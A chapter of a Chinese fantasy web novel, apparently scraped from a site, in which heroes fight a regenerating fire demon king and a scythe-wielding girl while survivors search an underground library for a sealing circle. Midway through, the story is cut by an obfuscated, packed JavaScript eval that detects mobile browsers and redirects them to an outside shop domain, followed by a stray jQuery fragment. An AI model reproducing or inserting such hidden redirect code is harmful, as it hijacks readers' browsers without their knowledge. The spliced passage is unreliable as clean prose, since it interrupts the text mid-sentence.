“咳！”赵一诚被踹飞出去，重重砸在墙上，嘴里咳出一口鲜红的血。他皱了下眉，擦去嘴边的红色，抬头看向挥转黑色巨镰又冲过来的少女。
“去死，给我去死……”她嘴里念着。
他立刻将刀横在身前，格挡住了镰刀的一记挥劈，金属间摩擦起刺目的火花，刮擦的声音宛如巨兽磨牙。他侧身顺势将长刀斜撩，挑开巨镰，闪至一旁。然而下一瞬，少女就冲上来展开了新一轮攻势。她无神的漆黑眼睛宛如深渊一般，使她看上去像一个杀戮机器，丝毫不知疲倦、不知疼痛。
禅寂和宁清兰分别在炎鬼王的两条手臂上，抓着上面突起的枯黑尖角，借力向上跑着。上至肩头，宁清兰一抬手，脚下生出银白色的藤蔓，游行的巨蟒般飞向鬼王的脖颈。尽管一碰到火，藤蔓就渐渐烤为焦黑，但巫力维持着它如蜕皮般，焦枯的表皮下又生长出新的银白生命，其中包括无数冰晶似的花苞。禅寂挥手让掌心的血飞溅向那些花苞，它们随着藤蔓在鬼王头颅的火焰中若隐若现，瞬间在鲜血的侵染下，晶莹的内里化为梅红。
“记得跳开！”禅寂大喊道。她一弹手指，然后就向后跳去。
“嘭”的巨响如雷声穿透天际。
几乎是同时，鬼王的头颅如礼花般炸开来，爆炸带来强烈的冲击裹挟着雨似的碎裂火焰，轰击向二人。索性朱晓语的阵法仍在起作用，热浪只能将她们的头发和衣摆吹得凌乱翻飞。
落到地上后，禅寂猛地抬头，大骂了一声：“靠！”
漫天的火焰和灰烬还没落完，鬼王的脖颈上却又燃起熊熊烈火，魔鬼似的头颅在火里渐渐恢复出来。它不顾方向地挥砍着手中的黑色大刀，一旁的建筑不是被截断后倒塌化为废墟，就是被火焰炙烤得墙皮砖石全部化为深黑。
“妈的！没完没了！打个屁啊！”
“啧……最后再试一次！你能把它完全炸碎吗？”
“那得看你的花能不能撑到完全缠满它了。”禅寂剑眉紧锁，梅红的眼瞳在火光里烤得更红了。该死，最后一次，必须要成功……她和宁清兰已经重复类似的动作近十次了，然而无论炸掉炎鬼王的哪个部位，它都能重新复原回来。她们的一切努力对它而言全都不痛不痒。
宁清兰单膝跪在火焰中，用力地将银白的晶莹侧剑插向地面。炎鬼王的脚下生出无数粗大的藤蔓，上面缀满了透明花苞，它们飞快地攀升缠绕住鬼王。但底部的藤蔓依旧不断如蛇蜕皮般更迭，以至越往上藤蔓的生长速度变得越来越慢。炎鬼王仰天咆哮着扭动身躯，火焰蓬发着想摆脱藤蔓。
力量消耗得太多，宁清兰意识有点模糊，一切都仿佛在远去。不，天下安，众生福……就算是死，也必须……
她定下神，大喊一声：“禅寂！快！”
“我知道！”禅寂用剑割开了手腕，顺着藤蔓奔上炎鬼王的躯干，一路上将血尽数洒向那些花苞。虚汗从她额上冒出，嘴唇渐渐因失血而变成了灰白色。
待血流向鬼王头上的最后一朵花，禅寂闭上眼睛，用尽最后力气弹了下手指。
“蠢货！快点跳开！”
下一秒，刺目的白光，爆炸的声波击碎了一切别的震动，有一瞬间所有人的耳边都只剩下死寂和耳鸣。巨大的冲击将周遭一片都化为了废墟乌有。好在法阵的保护下，榕长英一行人都没受到太多影响。稍远处，少女的衣摆飞扬着，却丝毫没有回头，仍旧对赵一诚展开着激烈的攻势。
“禅寂！”宁清兰看到她躺在火焰摇晃的残骸上，赶紧跑了过去。
“成功了吗……”禅寂虚弱地望着被火烤至橙红的天空，虽然法阵的力量抵消掉了大部分冲击，但她的身上仍全是爆炸留下的伤痕。
宁清兰摇了摇头。
那爆炸带来的烟尘散去后，烈焰之中炎鬼王的身躯仍旧屹立。它炫耀胜利似地高举起了长刀。
禅寂嗤笑了下，不再动作。宁清兰用绷带临时包扎起她手上的伤口。注意到她们手臂上护佑巫术的光纹闪烁着黯淡了，她顿时睁大了眼睛，阵法的力量变弱了！她猛地看往祝晓余和榕长英的方向。
祝晓余的手仍抓着那把插入地面的巨大钥匙，此刻她眉心紧皱，煞白的脸上渗出的汗水很快又被火烤干。
她身旁，榕长英轻扇着扇子，眼帘微垂，问道：“还撑得住吗？”
“没问题的……”祝晓余一咬牙，回应说，“我怎么可能在第一次任务里倒下……
“咳！”说完，她却口中吐出了猩红的血，血迹沾染在铜色的钥匙上，顺着滴落下去。
榕长英面带哀伤地把手搭在了她的肩上。
祝晓余诧异地看向她，眼睛里噙着泪：“老师……抱歉，让您失望了。”
“没事，我来继续维持法阵吧。”榕长英将手放在钥匙上，地面的法阵重新亮起一瞬夺目的光芒，“之后你还有别的任务要做，现在先好好休息一会儿。”
祝晓余不解，但顺从地没有问话。她从随身斜挎的包里拿出来一瓶透明药剂喝了下去，又弯腰咳出了一口瘀血。
另一处，少女的镰刀仍不停地在半空划出轻盈的弧线，这样的武器十分少见就更使得其每一招都捉摸不透、猝不及防。镰刃永远能突入赵一诚的防御死角，让他几乎难有喘息，只能不断地调整才勉强抵挡对方的进攻。而且不同于他为了避免取对方性命而有所保留，少女宛如一尊杀神一样，每一次都朝着致命的位置挥劈，她简直只是想要他死。
“去死，给我去死，妨碍者全都死……”
“你们都该去死，这个世界所有人都应该死……”
混着少女每一记进攻时的恶语咒骂，“锵”的金属碰撞声刺痛着耳膜。
“小妹妹，”赵一诚一边挑开镰刀的劈砍，一边有些忍无可忍地问道，“你搞出这么大的灾难就为了要所有人去死吗？你到底知道自己在做什么吗？”
她停下了咒骂，眉头皱了皱，虽然手上大开大合的进攻仍未停止。她黑色的眼睛瞪着赵一诚，充满怨念。
“这个世界，欠我。”
“现在要还！”
她手上更用力了，完全不像是一个她这个年纪该有的力量。挥刀迎击时，赵一诚只觉得虎口发麻。
“人人都欠你吗？”
“你明白什么！你明白什么！”她发了疯似地怒吼起来，“我们在地狱里生不如死的时候，这个世界有哪个人想过救我们！”
她瞪大了漆黑的双眼，嘴角扯出狰狞的笑意：“反正我们都很快要死了，这个世界就全一起陪葬吧！”
根本没办法沟通啊，这孩子……赵一诚后仰躲过朝脖颈砍来的镰刃，侧着俯下身子，趁她再度挥镰的间隙，拉近距离，企图转守为攻，刀尖指向了少女的心脏位置。
“凭什么你们生来享受幸福，我们生来忍受痛苦！”
然而她却镰刀突然一转，镰柄尾端的小刃在赵一诚的手臂上割开了几厘米深的口子，肉下的白骨都若隐若现，鲜血淋漓。赵一诚吃痛地倒吸了一口气，剧烈的疼痛令他本能地松开了握刀的手，长刀掉在铺满灰烬的地面，化为一团黑色火焰消失了。他抓着右手，正要向后避开，瞳孔里却已经映着少女挥砍而来的巨镰。
古书室里，除了许织略坐在椅子上沉沉昏睡过去外，所有人都心急火燎地在茫茫书架中翻找着古书。一个钟头以前，那面容和蔼的老太太向他们讲述了对于突然出现的火焰怪物的猜想。
老人名叫莱拉·安卡利斯，东方名是理靡。
“我说的古老岁月是指你们人类所谓的神话时代。”她抬手用指尖留下了悬浮的光点，拼凑成立体的画面，“这段时期原始史料几近空白，只有后世对其有大量的文献记载。但因为内容虚浮，并且随着历史演进它们都被赋予了过多宗教意义，没人再相信那是一段真实的历史。”
“可……确实没有证据证明那些神话是真实发生，而不是先民对大自然的幻想，不是吗？”苏银开口问道。他虽然自己也曾略研习过神话史学，但人类文明里不信神明存在的唯物思想实在根深蒂固。
理靡向他笑了笑：“的确，证据链不完整不确凿的事情就没法百分之百地被确认。但，孩子，还在研究如何钻木取火的原始先民，是如何在一段历史真空期之后突然就普遍掌握了巫术，步入了文明时代呢？即使历史与后世神话或许并不完全一致，我们也不得不承认，那个时代大概率有过比我们更先进的力量，干预了这颗星球的历史。”
“够了够了！现在不是你们研究历史的时候！”一直胆小地缩着脖子的贵妇高声打断了他们，“地面上那些见鬼的到底是什么东西？我们怎么办啊？我们不能一直被困在这里吧……什么神明不神明的，狗屁的创世神明明是想要我们死吧……”她说着说着哽咽地哭起来。
琉安从口袋里拿出手帕递给她，也开口道：“现在关键还是得想办法搞清楚状况，然后出去。”
“如果神就是想要我们死的话，出去了也没用。”自称是爵士的男子还是一脸失魂落魄，他僵硬地笑了笑，“反正神已经夺走我妻子和女儿的命了，就这样吧……就这样吧。”他也掩面抽噎起来：“其实我的人生好他妈失败，我对不起那个小兄弟……”
苏银面露哀伤，又猛然想起赵一诚还在外面生死未卜，于是急切地问理靡道：“所以，既然您对这方面比较了解，您知道该怎么办吗？”
“唉，或许你们还是该听我把历史讲完。”理靡却摇了摇头，继续让光点流动着变换形态，“根据弥斯欧若流通的《光扉编年》，母神将全心全意信仰她的人送去了名为圣瑟瑞尔的大陆，没有乱世的战火，只有宁静祥和。”
“但新的大陆上，有信徒耽溺罪恶而背叛了母神。于是她就让原世界作乱的魔鬼也降临到新的大陆，惩罚那些背叛者，好警诫其他人信她、爱她，而她也将重新赐予他们光明和幸福。炎鬼，就是那些魔鬼之一。我所知道的就是这些。”
“好熟悉……”苏银皱了皱眉。
“觉得熟悉很正常。”理靡平和地说，“不只光明母神的神话传说里有这段内容，其他很多神话体系里都有过神明将信徒移至新世界的故事，只是前因后果以及名字不尽相同。”
“不……不是因为这个。”
苏银拉开桌边的抽屉，打开红丝绒小箱子，拿出了那张纸给理靡看。
理靡从口袋里掏出小眼镜戴上，手摩挲着下巴，笑起来：“诶呀呀，那就有趣啦。看来这里是个很不得了的地方呢……不过我也差不多就是为此而来的。”
“如果想寻一个解决办法，眼下我能建议的就是各位最好动起来，在这里找任何有炎鬼相关内容的书呢。主要集中找巫术、阵法、历史相关的。”她挥挥手，示意他们别干站着，“你们别太悲观了！现在有如此得天独厚的优势，把握住才是。”
众人面面相觑后，还是都点了点头。尽管这无异于大海捞针，但的确比坐以待毙强。即使最后仍是死路一条，也至少能因为做出过努力而释然地接受现实。
见大家都散入了书架间，苏银转头向理靡问道：“不知道可否冒昧地问一下……”
“小家伙，我知道你要问什么。你是个大学生吧？见识倒还挺丰富的。”理靡揉了揉自己干枯的头发，“这白金色是漂的，原发是紫色。你知道了吧？”
“古巫族……”苏银回答道。
这是一个如今人丁稀少，基本上不群体活动，反而主动散入和融入到其他种族的一个族群。他们最鲜明的特征就是一头天生的紫发，宛如夜空一般古老幽深。但由于他们巫术天赋极高，甚至高于维斯梵人，并且从小受长辈教育研习有些违背人伦的远古巫术，以至于他们始终是一个令人敬而远之的种族。
“是啊。我们是真真切切信奉远古诸神，所以神话时代在我们信仰里可是很重要的呢。”
“抱歉……刚刚对您的信仰有些不敬。”
“没事的，我很长时间都生活在艾森加德，知道你们人类的思维。”她浅笑一下，“说实在话，我今天来贵店，本就是为了找神话时代相关的书。不觉得很有意思吗？我们被神送往这片土地，就像每个神话里，神转移自己的信徒一样。这其中的联系很难不令人想要探索研究呐。了解这一段神话，甚至说是历史？可是很重要的。”
谈话并没持续太久，毕竟找到解决之法迫在眉睫。躲在地下可以安全一时，但没人担得起大火永不熄灭的后果，闷热、昏暗、饥饿，全都如利剑悬在空中般压迫着他们更加急切地将书从书架上搬下，逐一过目与整合。地下的温度快速
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688761|207851||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
升高着，每个人的额角都渗出汗珠，烦闷不安取代了原本室内的古老宁静。
所有人沉默不语，只有沉重急促的呼吸和书页翻动带来的唰唰轻响。
“这个《书乡史》里说到雨神的学生安达卡兹画下阵法，最终将不死的炎鬼封印回了地底。”琉安把书递给了理靡，“但是没记录阵法的样式。”
她接过书，大致浏览了相关内容：“西方的雨神欧泊斯吗？有意思……”
“可是……怎么办？我们从哪能知道阵法？”
“继续找。至少这本书是个好兆头，说明这地方指不定真有对抗炎鬼的办法！”理靡咧嘴笑着，看着信心十足。
古老昏暗的地下与世隔绝，仿佛时间也凝固。但每个人心里都有一块自己的表，指针滴答滴答地飞速转动着。不少书架上的书都已经被拿空了，无关紧要的书被全部扔在地上。时间流逝得又快却又漫长得让人感觉望不到尽头……
“我找到了……我找到了！快，快过来看！”角落里，胆小的贵妇人叫道，声音因激动而颤抖着，“这里有本《深渊谱系》！有一章记载的全是炎鬼。”
众人都循声奔了过去。
整整二十多页内容，从旧世界中雨神教授人们绘制法阵，带领先民镇压炎鬼，到新世界中雨神曾经的学生独自对抗炎鬼，将其封印，再到对十大地下魔灵之一的炎鬼详细描述，并且附上了炎鬼的画像。
他们忐忑地将炎鬼篇翻至最后两页，当看到上面绘制的法阵图像和各类洋洋洒洒的要点与注意事项时，所有人都长呼了口气。
“太好了太好了！这是不是就说明我们有救了！我们有救了！”几个顾客相拥着庆祝，有人更是喜极而泣，“我们真的找到了！竟然真的找到了！”
“别又高兴得太早。”理靡眯起眼开口道。
她将画着法阵的那页纸撕了下来：“谁去做？”
原本欢欣的气氛荡然无存，顷刻间又化为沉默。
一直蔫着脸的爵士小声道：“可我们都不会布阵。”
理靡笑了笑：“你们不仅要会布阵。你们还要有勇气躲开游走的怪物，穿越层层烈火，最后跑去鬼王那里，布下阵法。半路丢掉性命的概率可高过百分之五十。”
“虽然精通巫术，可是……呵呵，我一个年过八十的老婆子能做得了什么呢？走几步路就累啊！”她装模作样地摇了摇头。她说完，呈出那张法阵图纸，打量着在场的所有人：“所以，诸位谁愿意去做书乡的安达卡兹呢？”
那张轻薄又泛黄的纸在半空中显得无比脆弱。
“时间不多了，我去吧。”苏银深吸一口气，拿过了图纸，“我朋友还在外面，事不宜迟。我读过些阵法相关的文章，虽然只亲自尝试过一两次……”
理靡点了点头，眼神里流露出慈爱：“没事，足够了。”
“孩子，告诉我你的名字吧。如果你能活着，老婆子我很期待多跟你聊聊。”
苏银苦笑了下，说了自己的名字。
理靡与琉安分别和他拥抱了下，苏银向她们点点头便出了古书室。
打开地窖门后是扑面而来的热汽和映入眼帘的通红火光。书乡有足够的可燃物供大火不停歇地摧毁一切。此时的咖啡馆内一片火海，烟尘的颗粒呛鼻地飘散在空中。索性馆内现在没有游荡的炎鬼。苏银冲进厨房，用水打湿了外衣后披在身上，走出了已经碎裂为废墟的门。
整条街如一条蜿蜒的火龙，两侧的房屋尽数淹没在烈焰中。被水浸湿的冰凉衣服此时又变得温热，苏银看着眼前，感到一阵恍惚，梦境的影像和现实交织重叠，火焰的低语侵蚀着意志。
振作一点！他摇了摇头，甩开挡在眼前的发丝。
城中心偏西的钟塔旁，炎鬼王巨大的黑色身影晃动着，对庞然大物的恐惧令他不自觉地抿了抿干裂的嘴唇。不管怎样，先想办法跑过去。
路上见到有炎鬼的影子，他就尽可能绕开。如今的街道上已经不见什么人了，只有被火烘烤的尸体躺着一具又一具。苏银猜想幸存者大概都是躲藏在屋内了。他感到眼睛很干，也不知是生理性的还是源自哀伤的泪水不停地从眼眶涌出，但很快又蒸发了。
“先生……救！救救我……”
跑过一处街角，苏银听到有人呼救，下意识地停住了步伐。不远处，失去支撑而一整个翻过的马车下，车夫李远满脸尘灰和血污。
“啊！”苏银惊呼一声，赶忙冲上前去想拉他出来。然而走近了才发现这老实的车夫，被马车压着的下半身如今已经血肉模糊。他眼里没了光，一只手努力向前伸着，另一只手还紧紧攥着钱袋。粘附着血污的嘴唇嗫嚅着：“救……我……”
苏银只能着急地去推那辆马车，但它只是向上抬起了一厘米，甚至反而牵动着车夫发出了凄厉的叫喊。
远方“轰”的一声巨响，钟塔的顶部也在鬼王的巨刃劈砍下倒塌，像是敲响了城市的丧钟，伴随火海燃烧的声音，宛如一曲末日的挽歌。
为什么，为什么会变成这样……
苏银余光瞥见一个炎鬼拖着黑色大刀，像地狱的死神一样走了过来。他本能地后退了数步，却看它站停在了李远前面。那两个深黑空洞的眼眶里，暗红的火焰摇曳着。
车夫昂了昂头，看向它。
他抓着钱袋的手向那怪物抬了抬，嘴角挂上了抹笑，像在炫耀，像在嘲笑。
“不要！！！”
炎鬼落下了高举的刀，鲜红的血像井喷一样溅洒在马车上，车夫的头颅滚进了一旁的火焰里，顷刻只剩下狰狞的轮廓。他一直攥着钱袋的手松开了，精致的钱袋里，一枚枚金币、硬币也都散落出来，在烈火的光里闪闪发亮。
苏银吓得坐在了地上，双腿发软着动弹不得。他心脏跳得过于剧烈以至缺氧而有些窒息，眼前炎鬼的刀上还滴落着人血，一步步朝他走来。书里阅读过再多生和死，脑内构想过再多末日景象，都抵不上亲眼所见之后源自本能的恐惧。同类的死亡、血腥的画面让他脑内一片空白。生命原来，这么脆弱……
我也要死了吧……
他闭上了眼睛，索性不去看那把刀如何举过炎鬼的头顶。脑子里走马灯一样闪过了一个又一个片段。
也好，就这样结束吧。